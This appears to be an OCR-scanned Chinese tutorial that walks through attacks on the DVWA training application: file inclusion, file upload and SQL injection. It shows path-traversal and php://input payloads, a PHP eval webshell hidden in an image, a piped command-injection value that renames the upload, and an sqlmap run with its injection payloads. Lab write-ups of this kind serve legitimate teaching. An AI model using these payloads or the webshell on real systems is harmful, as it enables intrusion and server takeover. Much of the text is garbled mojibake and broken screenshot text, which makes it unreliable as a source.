hE P GRS IR S5 3% BT
2) WATR

firefox I 4%, firefox 4fi{: new hackbar
3) WRT5¥%

A. LOW 5

a) WH DVWA Z44JKN LOW

b) A D0 A% A A AL M
payload:
® ././././].[./.].].]./etc/password

® c:\\windows\win.ini

Vulnerability: File Inclusion

| ]

<« c @
Boaresus @ sFrs s B s

BE oo o 7y IND B ®H@ =
OmaEss

for 16-bit app support [fonts] [extensions] [mci extensions] files] [Mail] MAPI=1 CMCDLLNAME 32=mapi32.dil CMC=1 MAPIX=1
app=! = = = = & =

igeo

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

File Upload
Insecure CAPTCHA
SQL Injection

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info
About

Logout |

c) DN Y A A AR S B By
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brute_torce_high.py

- 2 z
2 brute_force_low.py 2 2K

2 brute_force_medium.py 2 Python File 2K

~ command_injection_high.py 2 . =

R command_injoction low.py 3 4 file_include_low.php [D:4&E 7 T\codes] - EditPlus
2 command_injection_medium.py 2 /# Fle Edit View Search Document Project
|| file_include_low.php 2 _. 5 d @ | Ck o s £ & B2 B x |

| file_upload_high.php 2 @B rlu A Sl 0 9 H|E L =

|| file_upload_low.php

Toals

wser Emmet Window Help

B iz| oF ue (W)= | E
= -

ST Bas Dy

' 5 n

B

- T ; ;
|| file_upload_medium.php m I< #php -
| high.php.png D é*‘ phpinfe (sl
| high.png . ——7T15) D
¢ |0caIhost_csH_médi@ﬁ%ﬁg%ﬁﬂipjxl BEST
| password.txt 2 DVWARIEE
| user.ixt 2 media

BR

-

el BEES: C\Windows\system32\cmd.exe - python -m http.server

i Ff\codes)python -m http.server
Serving HITF on 8.8.8.8 port 8008 Chttp: N 0.8.0:8000,)

« ] D kocalhost

[=FC @ wrts Dwman [Desws

(NETN i)

<"php

d)

$file $_GETI[

s

LR

‘page” 1

T T S ———
ps- e

sapmrt
[E—rrny pa—

i Pose

Laases e rr—r————————
[

s oo

[P

s prine

e art Erem

[ Te— p—

B

PP Eersion. | aMaIDSES TR VCH

B

e

[ e

[T P

iy

P e

e

s Mumste | oceices oy i

suvmont

P Seppont | ansiet

Cirace sapmers | sasmis

[ Sy ————

T LT Ty
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B.

a)
b)

c)

AR 2B page 23RS A include HEAT AL HUT
MEDIUM 2% 5|

% H DVWA %4454 Medium

A5 FH 0 08 RS A L SR

payload:

o /)1 A1 A Jetc/password
o _J..M..A A fete/password
A58 FH ) B 28 R RS R AL B

payload

® hthttp://tp://localhost:9999/file_include_low.php

® php://input <?php phpinfo();

® data:text/plain;charset=utf-8,<?php phpinfo();
m. ————— e

<« ¢ @ @ localhost/D php://input B e v 1Y NGO g ® & @ =
BErassus @ #Frn Demme D [ aailEss

PHP Version 5.4.45

" @ Hackbar v x

Encryption~ | | Encoding =

@load | 4 spiit | »)Run

o Winons T ACGSSE5 G151 bl 7601 Widows 7 Enerriv o Sevics Pk 1558 o

ttp: //Localhost/DVHA-L. Dgilnerabilities
saiatne  |sepranszans ‘ /

/£ /Ipage=php : /fimput
Compter | 5vC3 Wimatr 2000
rcne |06 2 RErun RIS
Configure. gt s il - 7= 7=
e

g - i e
B N e e R N pEly [oad \ [ZIEnable Post data
e o S . TN e o s

static-znalyze’ "-with-pge”

Server APl Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration File | Chwindows

(php.ind) Psth [CJEnable Referer
Loaded D\phpStudy\PHETutorishphphphp-5 445\php ni

Configuration File

tnane)

tnane)

20100412

20100525

20100525

API220100525,T5.VC3

API20100525,T5C3

< [ b

T x| Te—— —— — ol

B

& o @ ® localhost/DVWA-1.9/vulnerabilities/fi/ ?page = data:text/plain;charset=utf-8, < ?php phpi A I *4 nohae® @ =
KUMEFES @ FFELE =am [ wrms Daess
PHP Version 5.4.45 h © Hackbar ~ x

Encryption®  Encoding+

gload |  split | » Run

http://localhost /DWWA-1.MGulnerabilities
fi/Ipage=data:text/plain; harset=utf-8, {Iphp

\
s SVCS il Coe 2008 i IN paylodd  [ohpinfo();

system Windows NT AD00823-NCOL 6.1 uild 7601 (Windows 7 Enterprise Editin Service Pack 111535 I

Buitd Date Sep 22015 23:4552

" emgs A
== 2 mdruniEilR it
Configure it s pshot-buld” pi' - pack” = -
mmmmmmm ot et o 3o it : R *
xiB=Ci\php-sdkioraclelinstantclientl0\sdk shared” “--with-oci8-11g=CAphp-sdkioraclelinstantclient1l Enable Post data
\adkshared" * 7 ot i i —disable-
static-snslyze" *—vith-pg
Server API Apache 2.0 Handler
Virtual Directory | enabled
suppart
Configuration File | Chwindons
(hp.ini) Path [CJ Enable Referer
Loaded [T ——p py——
configus o
Scas ne)
i

tnone)

20100412

20100525

220100525

API220100525 TS ¥CS

API2UL00525 T3 R
. LT

« m D Povier by mucx@fosscn
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d)

b)

AR5 73 Hr

<?php

$file = §$_GET[ ’page’ 1:

$file = str_replace( ray( “http://", “httpz://" 1, "7, $file ) ﬁ-——ﬂiﬂ$¥$page%5&¢'ﬂﬁhttp //
$file = str_replacel ray{ “../", --\'r Yoo "t Bfile ) ’-'-—' httpS//L/L& \ﬂ:l /

T

Ui B :

1558 page ZE 41 http://. https:// ../~ \NFL&H, A LM#EF php://input, php://filter,

data url schema ATV EN, AT H B #Z HEIRIF (R B —IR) B8 8

fEH, B0 hthttp://tp://# B 5 N http://
HIGH %3

BE DVWA %2454 High

(MR

<?php

§file = § GET[ “paze’ 1.

if( Ifmmatchi “filex”, $file ) &% $file != “include.php” ) F_— ijpageaﬁi&#i*:ﬁ
echto. “ERR0R: File not found!™: % , %‘@‘jﬂgﬁleﬁ%g{z

} ' Ainclude.php

d

LR

MRZSHATI A, RV include.php BLK file JF kIS L5, )

file JF 3k (1 SCAF BAC & SCAF AR IRZL & it 4T A H

4) BEEW

a)
b)
c)

il 11 42 BRI R BR 1 e 55 S A
KA FE R TIfE
8 web 55 4% 5 2 A BRI

5. X kA%

1) JWiRBER

SAF EAR R R il B AR R HAT I TS, AITERIBUIR 55 2 3 Al 34T

2) MATAR

firefox W % %%, burpsuite, " [EET]

55
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http://、https/、../、../字符串

DVWA J i & 23 4

3) WA E
A. LOW 25|

a) WHE DVWA %4 H1N LOW
b) i gy EAR S R A B AT Mo

| password.txt

1KB

|| userixt

|| file_include_low.php

~
4 H\BiRSHr\codes\file_upload_low.php - EditPlus

|| file_upload_low.php

/" Fle Edit View Search |Document | Project Tools Browser Emmet Window H

25 R B T | & B

x| | £ e 3 2] A% nx [WEE)

‘@B ruAd

B
nb J 1 H @ L =2 &= T eS| A divse |

__-_—-—‘--__‘__

Directory | Clipt| *

1 : Ey— TR T -
»1 kephp

1. Bl

L H

LI venv

L wEG

, codes

128 S phpinfo();

= @
B Vulnerability: File Upload — | = |

« [CINAY @ localhost/DVWA-1.9/vulnerabilities/upload/
Bxuersus @ wrrx Dsmnn B

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection

Choose an image

28 ees php <

upload:

load_low.php

CSRF

File Inclusion
[Fietoons PR

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout
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|« Note (H) » BASH » codes »

=
- =0 El
i verw Sz
 brute_force_high.py Python File
R A & brute_force_low.py Python File
8 A brute_force_medium.py Python File
&os©@ 2 command._injection_high.py Python File |z
ca Software (D:) 7 command_injection_low.py Python File
s Document (€ A command injection_medium.py Python File
s Email () T o file_include_low.php 2019/2/14 1343 PHP S0#%
T t | file_upload_low.php 2019/2/14 13:43  PHP XX
e
‘ | € localhost_csrf_medium.html 360 se HTML D
s Note (H) o = L4
_ password.txt AT
. it -
- '
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€ c o 0 locathost m

B xmEsns @ wEps Bwmay [rsww

o Vulnerability: File Upload
Tostructions. Choose an image 1o upload
Setup / Reset DB

R, | FBRETR,

/oL plndEi1e_inclte_Tow. . succwstutly plosted! G

More Information

XSS (Stored)

1
Security Level: low View Source | View Help

PHPIDS: disatied

phpinfo)
< c @ @® localhost/DVWA-1.9/hackable/uploads/file_upload_low.php BE o noa e @ =
Evaresus @ wEks Demmn B s DemEnE

()

System Windows NT A000223-NCO1 6.1 build 7601 (Windows 7 Enterprise Edition Service
Pack 1) i586
Build Date Sep 22015 23:45:53
Compiler MSVCS (Visual C+4 2008)
i 86
5 cecript fnologo configareys *—-enable-snapshot-build" *--disabl
Command debug-pack’ *--without-mssql" *—without-pdo-mssq|

pdo-oci=C:\php-sdkioracletinstantelient10\sdk sha
o 8 enta0\eclh shared -—-with-aci
it dk,shared” " bl i
°he <

1\

P

Server AP Apache 2.0 Handler

Virtual Directory |enabled

support

Configuration |CAwindows

File (php.in))

Path

Loaded DAphpStudy\PHPTutorial\php\php-5.4.45\php.ini
File

Scan this dir for |(none)
additional .ini

files

Additional ini | (none)

files parsed

PHP API 20100412

PHP Extension 20100525

Fand Eviancian 770100808 =

o) AUESHr

if( disset( $_POST[ "Upload 1 3 1 {
/Y Vhere are we going to be writing to?
$target_path = DVWa_WEB_PAGE_TO_ROOT . “hackable/uploadsz/";
$target_path .= basename{ §$_FILES[ ‘uploaded” ][ “name” 1

ff Can we mowe the file to the wupload folder?
if{ Imowe_uploaded_file{ $_FILES[ “uploaded” ][ “tmp_name’ 1, $target_path ) 1 |
£ Ho

echo " <pre’Your image waz not uploaded. </pre:”;

i
else |
£ Tes!
echo  “<pre>{$target_pathl succesfully uploaded!</pre>”;
1
1
T

LR
EASCAFERE AT ORGP i, ELEAE IS _EARSCIFA2Zh 2R U5 (¥ hackable/uploads
HaX T
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c)

d)

MEDIUM % 7|

BE DVWA “Z42 258 Medium
JA 8] burpsuite HH JE AL HE

Burp Suite Professional v2.0.1 1beta - Temporary Project - licensed to surfenyz — i ¥ 1

Burp Project htruder Repeater Window Help

Dashboard

truder | Repeater | Sequencer | Decoder | Comparer | Extender umpanmanuWumnm}

ntercept | HTTP higfry | WebSockets histor

WE firefox W ACEE N 127.0.0.1:8080

LdmEproy EIE  Ng A
1 = 3 Q =
@ prowy 1hachet P SthoptionsPEIi-&
£} Burp Prowy uses isteners fo regéive frequing HITP requesys rmr%w% wser. You will need to configure your browser to use one of the fisteners as its proxy server.
S hRuUNNINg &
Add | Runr\n‘ | interface | nvisbie | Rearect | certificate
@  [1z7.00.48080 Fer-host
Edit
Remove >
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or export this cerificate for use in other fools or another instalation of Burp.
[ Import / export CA certificate. J [ Regenerate CA certificate J
@ Intercept Client Requests
{G% Usethese settings to control which requests ar stalled for viewing and eding in the Interoept tab,
(@ Intercept requests based on the folowing rules:
Add J Enabled | Operator | Match type Relationship Condition
@ Fie extension Does not match (“gifS{"[pgS* pgS/*CSSSIfSS60S)
Edi o or Request Contains parameters
o or HTTP method Does not match (getipost)
Remove »
O  And URL Is in target scope
up
oown |
(O Automatically fix missing or superfiuous new ines at end of request L
1 Automsticall uodate Content-Lenoth header when the reouest s edied =

© Firefox  about:preferences

EEHAERMNAERESR
TERHIERERY)

SRR TR W)
fiﬁﬂﬁéﬁf&&iﬁ‘&/

o EatEREM

HTTP fE2(X) localhost
FFETNIER LIRSS RE(S

SSL
ETP G2
SOCKS =l

SOCKS v4 @ SOCKS v5
TENGEE(N)

JFJ& burpsuite 2%
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W Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz et

Burp Project htruder Repeater Window Help
Dashboard | Target | Proxy | intruder | Repester | Sequencer | Decoder | Comparer | Extender | Project options Tuser nmms}

integgept | HTTP nistorff| webSockets history | Optons
T

’ 1.mihproxyiEli£
2. A intercep IR rﬁ'ﬂ = i @

Raw Headers Hex

3.mhintercept iz Mintercept is onfAz:

o

5
v

o BEEI
e) HFHIN YA AR A AT By

[ userxt 2019/2/12 12:07  STACEES 1KB J W
. . p—
L file_include_low.php 2019/2/14 4, HARBRES M \codes\file_upload_medium.php - EditPlus - -
|| file_upload_low.php 2019/2/14 - - - - -
. 1| # Ele Edit View Search Document Project Tools Browser Emmet Window |
|| file_upload_medium.php 2019/2/14

(5 G e P kol | & B X | £ fe & 4] A% mx (R
‘@B 7 UAGE ) VH|EE = 2 G|EHE T me | A dvse
Directory Clipt| * | * > E?ph;“ =i u 2 u } = u =
id— 77170 () ;

1 ESTERA L FA

| wiES

| codes

L1 venv

e Untond n L x| . e | = @
B Vulnerability: File Upload = - X e Sl | = |

&« C o @ localhost/DVWA-1.9/vulnerabilities/upload/ B2 e e gY InND &t @ & =

Eyaeres @ Fxre Dsmmn [ s s o

=\
D‘@Aj |« Note (H)
e P ;
D : s
H . H Inl
— Vulnerability: File Uploa .
Instructions Choose an image (0 upload: J =5 # brute_force_high.py Python
Setup / Reset DB 7 brute_force_low.py Python
£ . E, 2 brute_force_medium.py Python
& os A command_injection_high. Python
Brute Force j ghpy Y
mand Injection s Software (Dv)  command_injection_low.py Python
[Command infoction | < Document (€9 # command jnjection_medium.py Python
(il [} file_include_low.php PHP 37
File Inclusion || file_upload_lowphp- 2019/2/14 13:43  PHP 37
l:l : ; s Note (H) | L ﬁle_upload_mediunf‘php '2‘019/'2‘/111 13:33 fHP p-<
—— . it & localhost_csrf_medium.html 2019/2/141028 360 se |
f==t R Aninmia anac R
SQL Injection 3mifibE G @ = I m ]
SQL Injection (Blind) ZHEEND: file_upload_medium.php - |mE s
XSS (Reflected)
XSS (Stored)

DVWA Security U
PHP Info
About

Logout
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f)

I St Prfosional 20116t - Trporay e s ity -5

Burp Project iniruder Repeater Window Help

[Dasnnnam Target | Proge | intruder | Repester | Sequencer | Decoder | comparer | Extender | Project options Tuaer options 1
\meri HTTP history T&«mnmw Options
47 Request to Nfocalhost:80 [127.0

: ﬂtefeggt%]l

POST IDVWA-1 8fvlgrabitiesiuploacs HTTPA 1

Host: localhost

User-Agsnt: Mozilass 0 (Aiqows NT 6.1; Win4; x64; rv:65 0) Gecko/20100101 Firefox/ss 0
Accept: textitml applicationxktmi+xml applicationfxmt g=0 9 imageswebp % 4=0 8
Accept-Language: zh-CN,zhi=0 8 zh- TV, 5,&";&33:5‘3*3\1:52

‘ , Bk

:
Accept-Enceding gzip, ueﬂme],ﬁf?o
Referer: htp:/locainostDVVWA-1 Shvunerabiltiesiupioad
Cortert.Type: data; boundary=
Cortert.Lengih: 451

Comnection: close

Cockie: { PHPSESSID
Upgratle-Insecure-Requests: 1

T

-187791074516016
Cortent-Disposition: form-data; name="MaX_FILE_SIZE"

100000

-187791074816016

Cortent-Dispostion: form-dta; name="uploaded", flename="flle_upload_mecium php"
Cortert-Type: imageipng

<7php
phpinfo();

46779107481 6016 5~1‘§E§C0nt9m-‘fypeﬁimage/phg

Contert-Dispostion: form-data; name="Unload"

Upload

167751 074816016

o HEED e
8] Vulnerabiliy: File Upload (=] fote

< c @ @ localhost/DVWA-1.9/vulnerabilities/upload/# BE e ohe Y Db ®dH @ =
BxamEses @ wrte Semnn Bswes

Deagss

T Vulnerability: File Upload
Jnstructions | Choose an image to upload:

Setup / Reset DB
Brutefoce | BE HERTIER |, FHERRaE R E et
Command Injection

/.. /hackable/uploads/file_upload_mediun. php succesfully uploaded!

CSRF

File Inclusion
[Fileuptoad | More Information
Insecure CAPTCHA .

SQL Injection N

SQL Injection (Blind)

X585 (Reflected)

XSS (Stored)

DVVUA Security
PHP Info
About

Logout

L.

m

KM burpsuite FAALIAE, I AR AL S
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phpinfo0)

<« ¢ @
Eyaersues @ sxre D=mmn [ s

® localhost/DVWA-1.9/hackable/uploads/file_upload_medium.php

System Windows NT A000823-NCO1 6.1 build 7601 (Windows 7 Enterprise Edition Service
Pack 1) i586
Build Date Sep 2 2015 23:45:53
Compiler MSVCS (Visual C++ 2008)
it x86
Configure cscript fnologo configurejs ™ b pshot-build” *--disable-isapi® "--enable-
Command debug-pack’ "--without-mssgl" *--without-pdo-mssql" *--without-pi3web" "--with-
pdo-oci=C:\php-sdk i i sdk shared” “--with-oci8=Ci\php-
o E ek shared ~—with
1\sdk,shared" " ble-obj;
e A i
p
Server APl Apache 2.0 Handler
|Virtual Directory |enabled
Support
Configuration  |C:\windows.
File (php.in)
Path
Loaded DAphpStudy\PHPTuterial\php\php-5.4.45\php.ini
Configuration
File
Scan this dir for |(none)
additional .ini
files
|Additional .ini  |(none)
files parsed
PHP API 20100412
PHP Extension 20100525
— R —— pnep—
g) AR
<?php
if( isset({ $_POST[ “Upload” 1 J 3 |

/f Where are we going to be

writing tof?

$target_path = DVWA_WEE_PAGE_TO_ROOT "hackable/uploads/";
ftarget_path .= basename({ $_FILES[ “uploaded” 1[ “name” 1 J:
// File information
fuploaded_name = §_FILES[ ‘uploaded” ][ “name’ ]
fuploaded_type = $_FILES[ ’"uploaded” 1[ “type’ ]
fuploaded_size = §_FILES[ "uploaded” 1[ "a=ize’ ]
ff Is it an image?
if{ ( f$uploaded type == “image/jpeg” || $uploaded type == “image/png” ) && “—-.__
{ $uploaded_size < 100000 3 ) gl
<
/Y Can we move the file to the upload folder? ijtig}zf&#
. . . . e
if( |mnl;.‘/e_Lll\}31D’adEd_f118( $_FILES[ “uploaded” ][ “tmp_name’ 1, $target_path ) ) {%g’éﬁ]j{d\
o e —.
echo ' <pre>Tour image was not uploaded. </pre>’ lﬁ'{j—*ﬂig
1
else |
£ Yes)
echo  “<prer{$target_path] succesfully wuploaded!<{/pre>";
H
i
else |
/¢ Invalid file
echo ' {pre>Your image was not wuploaded. We can only accept JPEG or FPNG images. </pre’’;
i
}
I

LR

noh & 5
Oemgns

|

5 _EAL TS RE R SO HEAT B 44 BB (SR SR BRIE F BE R 5C K content-type,

B R s Bl e D

HIGH %3

W E DVWA %42 514 High

b) HERIE AR AR )
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~ command_injection_nigh.py

2 command_injection_low.py

= command_injection_medium.py
|| file_include_low.php

|| file_upload_high.php

|| file_upload_low.php

|| file_upload_medium.ghp

localhost_csrf_mediurfl.html
| password.bxt
| usertxt
B high.png
& _—

1. AERRE R A

high. pngl
file_upload_high.php
7 i

< c @
Baerses @ sEis s B ssms

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF

File Inclusion

Insecure CAPTCHA 4%5&;{57&5

SQL Injection

SQL Injection (Blind)
XSS (Reflected)

XSS (Stored)

DVWA Security
PHP Info
About

Logout

Fython File

Python File

Python File

& HABES codes\file_upload_high.php - EditPlus

/" Fle Edit View Search Document Project Tools Browser Emmet Window Helg

= NN R A TN E N = I | 2 tg @ +:| A ne[W][=]1E)
@ BrUAd o vH FE=2e|dE= 3| AT divose | [
[ e e e

Directory |Clipt| * | *

< *php @eval($_POST['chopper'1);
[D:] Softw;

[BRY
phpStudy

s e

DVWA-1.9
hackable

uploads

dvwa email.ona

Ff\cucles)cupy high.pngsb+file_upload_high.php high.php.png

= @] =®

s YIND B S 5@ =
O eaess

@ it

<« Note (H) » SESHF » codes b

Vulnerability: File |

Choose an image to upload

Ay SEEE
==l i 5
e # command_injectio...

"

)

2 command injectio.

SR

& EFR

# command injectic.

[ Upload |

|| file_include_low.php

3 TR fy Ay

&osE (] fle_upload_low.php

ore Information Software (D) c °
] file_upload_mediu.
. 4 Document T8

£ | high.php.png
s Email (F)

B high.png
s Code (63 localhost_csf_me...
s Note (H)

] fle_upload_high.p...

|| password.xt

[ useriat z
G i -4 m D

SZAEN): high.php.png v [m s -

e | [ mE
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-
x o= | (e
&« c @ @ localhosl/DVWA-1.9/vulnerabilities/upload/# R + vy N D b ® @ =
BxmEsss @ wrte Supne Bsses Omanifsz

ow) |

Home Vulnerability: File Upload

[nstuctions | Choose an image to upload:
Setup / Reset DB
(BrueFoce | SfEMfSHNE X Fcopyhigh.ph
++/. /hackable/uploads/high. php. png succesfully uploaded!

o

[IZTH  More Information
SQL Injection N
SQL Injection (Blind)
X55 (Reflected)
XS5 (Stored)

DVVVA Security
PHP Info m
About

oo | P

m

c) B & SIS SRR R
"I Vanarabi: Commana s | - - . T i

&« G o @ localhost/DVWA-1.9/vulnerabilities/exec/# BE e ow Ty L'IND B ® 6@ =
Eyaersues @ sxre D=mmn [ s [ alEss
o) |

i Vulnerability: Command Injection

é::’]"‘f;"’ — Ping a device
p | Rese
Enter an IP address: 127.0.0.1|cp ..\..\hackableluploadsihigh. | Submit
— \ i v B S 7 msubmitg@iRscopyiBk
- \
P More Information 6B Scopy Zftpayload
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security
PHP Info —
About

EE— e

m

d) fHH R EZE TR webshell
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<«

c @
KUERES © FELE

Vulnerability: Command Injc X

@ localhost,
st [ wmm

KT Netp S fwew. mai cai dag, top/ server, azpx

PIF hitp://123213. con

1 heep://ase, sond 8. o FEATRAT

caidas

-

=) = |
B e o Y Y IND B ® S @ =
Demenz

(=]
2019-02-14 EB{H

127.0.0.1 <IPADOS/T. 2017-05-07 18:..

2017-05-07 18

2017-05-07 13:..
X

#iF http://aq com
P hatp:// g conf
5% hitp://baidu con/a. asp

PP http:/fbaidu com

## http://992ae. eom/a. asp

R hetp:/fwow. maicaidao. top/ server

B httpoffwww maicaidao. top/server

O Z=N@2014/12/

2017-05-07 17

Hht: [Rtp-//Tocal hos b/ DVA-1 8/ hackabl o/ upl 0ads/ hi gh. php
4

[opper

2017-05-07 1T

EE:

T /4

9.1 Swebshellih 10 Swebshelrg

2016-03-23 22

2017-05-07 17

2016-03-23 22:

&wiE: [

EYEZ]

2z

| [PHe Ewal) x| [aB2312 |

3@baad07c73aee02072608¢46d0941d28b

11

I —

Logout

¢ o
© wEks

A BT

@ localhost/DV

zama [ s

Vulnerability: Command Injc X 127.00.1jcp .\ hackable\u; X

N

B http://localhost/DVHA-1. 9har  TT{HEE AL 2019-02-14 18
7 hetpff Fuvw. mai csideo. topfser AMAREIR 0.1 13 PERRORE | AT
. B .
BF htth:/f123213. con zgm: 2007-05-07 18
— st -

1 Zuﬁﬁ\ﬁﬁs@ﬁ%ﬂf%ﬂﬂe g 4 2007-05-07 18
FIF http:/fag con 123 2007-05-07 17
B http:/fag. conf A 2017-05-07 1T
BSF http:/fbaidu. comfa. asp 2017-05-07 17
PP hittp://baidu. com e 2017-05-07 17

EHERSHIED
RP http:/fa0aaq. confa asp SR 2016-03-23 22
B http:/fwer maicaidas top/ser S HEEIT) 01 <TI0 2016-03-23 22
PP http /S, mai caidae, top/server. phy saidae 127001 STAMISALS. .. 2016-03-23 22

@baada7c73ae£0207e608c46d0941d28b

[CI1ocalkost

neEnB®sS@

)
D#aeis

(1 D2 \phpS tudy \PHPTutori a1 VAIVRA-1 S \hackabl ctupl oads's ~

127.0.0.1
@t
B D
B ) phpStudy
[ [0 FHPTutorial
B
B D¥iA-1.9
B ) hackable

BF o, & o)

k=i

] dvwe_email pre

[] ile_upload high php

L] bigh php

—

@k
@ F
@6
e

S

Biidl b Bt =]
2015-10-05 15:51.07 887 0868
2015-02-14 15:45:00 33 065
2019-02-14 18:25:21 583 (i

2019-02-14 EA
=25
BriAR)

Typel
B

GB2312

64



DVWA il lHAF & 24

e) AR
<Iphp
if( isset( $_POST[ 'Upload” 1 ) 3
ftarget_path = DVWA_WEB_FAGE_TO_ROOT . "hackahle/upluads/"_)

$target_path .= basename( $_FILES[ “uploaded’” ][ “name’

fuploadsd_nane = §_FILES[ “uploaded ][ 'name’ ]

fuploaded_est substr( Suploaded_name, strepos( fuploaded name, .7 ) + 1)

fuploaded_size = §_FILES[ ’uploaded’ 1[ ’size’

fuploaded_tmp = $_FILES[ ‘uploaded” 10 tnp_name’ |

if( [ strtolower( $uploaded ext ) == “ipg" || strtolower( Juploaded ext ) == “jpeg” || strtolewer( fuploaded ext ) == ‘png” ) &b
( fuploaded_size < 100000 ) &}\
getimagesize( fuploaded tmp ) ) ij?{ﬁF?DHKfJ\J&ﬁT\\AE

if( Imove_uploaded file( §$uploaded tmp, $target_path ) ) |

ol

XIS

BH TS

2
bt

echo "<predfour image was not uploaded. {/pred’ :
else |

echo  “<pre>{ftarget_path} succesfully uploaded!</pre>";

elee |

echo ' <{pre>Tour image was not wuploaded. We can only accept JPEG or PHG images. ¢/pred’ ;

UZE
A AR R AR SO R 2R SR REAT 11 4% B PR (RN SO /N AR B RS RNk AT
B, WEGERRAARSIFSGamEN (EadXrh4) TR

4) BREWK

a) WEIHHZBR: W5 HFAWT, PITHRAT

b) A A ML SR (mine-type) ML 4734 AT BR i

) N ARSI R/NEAT R

d)  SCRAAE IR 55 SR I SCAF R ARBEN AL, ZEIEAE T P _E AR R R 1S 44
e)  BFXF I SO A e R AR R R

f) ARSI ST R 55 2 A

s |
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6. SQL I EA

1) FIRABER

SQUENZIR M HFEF 8RS 8RR B, S ECR BGE 1R MR B IR S 2 saL ik
A e AR AR ST AT P A Bt AT

2) WX TE
firefox W %28, sqlmap, burpsuite
3) ATk
A. LOW 25|

a) WE DVWA %4450 Low
b) M A K AL A ARG R
payload: 1'or'1'='1
R , =

<« C @ @ localhost/DVWA-1.9/vulnerabilities/sqli/?id=1'+or+'1'%3D'1&Submit=Submit# BEE e e Ty rin 3o ® 5@

BHraresus € wrre O=mar [Desss [ Banks

|

Home Vulnerability: SQL Injection
1 ;ﬁ} il

o
Instructions 25 pEyTEd
Setup / Reset DB -

Brute Force
Command Injection
I oer =T
CSRH First nane: Gordon
File Inclusion Surnane: Drown .
Fsimiren | T s EEELRES
File Upload 1 oor U1
Fir:
Insecure CAPTCHA Sur b
 SQLinjection | P
SQL Injection (Blind) First nane: Fablo
Surname: Ficasse
XSS (Reflected)
ID: 17 or "1°="1
XSS (Stored) First name: Bob

Surname: Smith
DVWA Security
L More Information
About

Logout

]

E
1

c) f#H sqlmap #E47 sql 7 A

66



DVWA il lHAF & 24

-
[® Vulnerability: SQL Injection - X

<« c¢ @
Baersus @ sEts Bsmmr B s

localhost/DVWA-1

B ooty o s ® 5@ =

m

i Vulnerability: SQL Injection

Instructions

Setup / Reset DB User ID [ Submit
S submitizEd
Sty :

(BrueForee |
_Command Injection | More Information

CSRF | .
@ O=sz O=ds OEas (emsss Cee GrRE -ms S #@ v TERs

1 EE wm css s xHR Tk BB me ws Hm FEEE [=mEs  *
Cookie &1 W  #A7
Lizevn

< re

HAR 3

/D_ document html -

% -By: PHP/5.4.45

© localhost [ fav... img w-icfn “Pe
FFE (556 F)

2 EIER

g Aecopyp cookiel5 2
]

qk3sfinhaaupsglqlpmk

(cc«* security:
Host: |6

i

VWA-1.9/vuiln

G _ 4TMER B#Hi1105K8/530KB a8 EH  DOMC Gecko/20100101 Firefox/65.0

BEX C\windows\system32\emd.exe ‘ﬂﬁ

Cvenu2.?> H:“>sglmap —u "http://localhost/DUMA-1.% vulnerabilities/sglis?7id=1&Submit=Submit" —-cooki security=lo PHPSESSID=d1g]
k3sf ihhaaupsglglpnkhude"

http://sglmap.org

[1]1 legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
Ibility to ohey all applicable local, state and federal laus.
or damage caused by this program

It is the end user’s responsi
Developers assume no liahility and are not responsible for any misuse

[#] starting P 19:19:18 /2819-82-14/

[ 1L 1 resuming back-end DBMS ‘mysgl’
[ 1L 1 testing connection to the target URL
lsglmap resumed the following injection point({s) from stored session:

[Paranmeter: id (GET>
Type: hoolean-hased hlind

Title: OR hoolean—based bhlind — WHERE or HAUVING clause <(NOT — MySQL comment)
Payload: id=1’ OR NOT 2957=2257#&Subnit=Subnit

Type: error—hased
Title: MySQL >= 5.8 AND error—hased — WHERE. HAVING. ORDER BY or GROUP BY clause (FLOOR>

Payload: id=1' AND (SELECT 2829 FROM{(SELECT COUNT (s>, CONCAT(Bx7178787871 , (SELECT (ELT{2829=2821.13>),8x71786h7671 . FLOOR{(RAND(B|
>%2>>x FROM INFORMATION_SCHEMA.PLUGINS GROUF BY x»a>—— iLGa&Submit=Submit

Type: AND-OR time—hased hlind
Title: MySQL >= 5.8.12 AND time—hased hlind
Payload: id=1' AND SLEEP{5>—— XXTE&Submit=Submit

1 [INFO1
webh server operating system: Windows
web application technology: PHP 5.4.45. Apache 2.4.23
lback—end DBMS: MySQL >= 5.8
L 1L 1 fetched data logged to text files under ’C:“sers wukes.sglmap output:localhost”

[#] ending @ 19:19:21 ,2019-B2-14~

d)  AREEHT
<?php
if{ isset( $_REQUEST[ “Submit™ 1 ) ) {

$id = $_REQUEST[ ’id ]

Eayn==Ces S
e FRBEERTN
$query = "SELECT first_name, last_name FROM users WHERE user_id = '§id."

fresult = nmysql_gquery( $auery ) or die( '<pre¥ . nysglerror(l . pred’ )
frum = mysql_numrows( fresult )
$1 = 0
while{ $i < fnum ) [
$first = mysql_result( §result, #$i, “first name’ );
$last = mysql_result{ $result, §$i, “last_name” )

echo “<pre>ID: {§idi<br />First name: {$fireti<br />Suwrname: {flast}</prer”:
Fitt;
b

mysql_close():
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LR
EHOSFE B IR id PFS R sql PRATHAT, FETFRERRREAN

B. MEDIUM %% 7|

a) WHE DVWA L2428 Medium
b) J& 3l burpsuite I A

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferyz — = ¥ 1 - o 0
Burp Project Intruder Repeater Window Help
[ Dasnboara | rarget niruger | Repester | Sequencer | Decoder | Comparer | Extenger | Projectsptions | user optons |

ntercept | HTTP nighry | WebSockets history m
@ Proxy LA seTproxyiElli-E \Z.ﬁﬁoptionsﬁlﬁ{ L

@} Burp Proxy uses listeners to reglive. in?ﬂm HTTP reguesis fror DQ%F wser. You will need to configure your browser to use one of the listeners as its proxy server.
3.mmRunningSs; fiid

add | Runr\n‘lhlerface | invisble | Redirect | cerificate
@ 127.0.0.1:8080 Per-host

Remove >

Edit

Each installation of Burp generates fts own CA certificate that Proxy listeners can use when negotiating SSL connections. YYou can import or export this certificate for Use in other tools or another installation of Burp.

